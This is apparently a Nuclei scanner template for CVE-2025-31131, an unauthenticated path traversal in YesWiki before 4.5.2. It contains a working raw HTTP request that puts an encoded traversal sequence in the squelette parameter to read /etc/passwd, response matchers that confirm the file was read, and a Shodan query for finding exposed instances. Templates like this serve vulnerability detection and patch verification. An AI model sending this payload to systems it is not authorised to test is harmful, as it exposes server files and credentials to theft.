Yeswiki < 4.5.2 - Unauthenticated Path Traversal

id: CVE-2025-31131

info:
  name: Yeswiki < 4.5.2 - Unauthenticated Path Traversal
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.
  impact: |
    Unauthenticated attackers can exploit path traversal through the squelette parameter to read arbitrary files from the YesWiki server, potentially exposing sensitive configuration and data files.
  remediation: |
    This vulnerability is fixed in 4.5.2.
  reference:
    - https://github.com/advisories/GHSA-w34w-fvp3-68xm
    - https://github.com/YesWiki/yeswiki/commit/f78c915369a60c74ab8f38561ae93a4aaca9b989
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w34w-fvp3-68xm
  classification:
    epss-score: 0.05366
    epss-percentile: 0.91679
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-31131
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"yeswiki"
  tags: cve,cve2025,yeswiki,lfi,vuln

http:
  - raw:
      - |
        GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - YesWiki-main

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a004730450221008096412a4e21c82e60821e9033aa59fe287b53b4de0f06455c7179fdd3af993902205fecb8ef799be80ab3f256262bd57ffd788e6a4b20603cb6d088ea683e2eb0ed:922c64590222798bb761d5b6d8e72950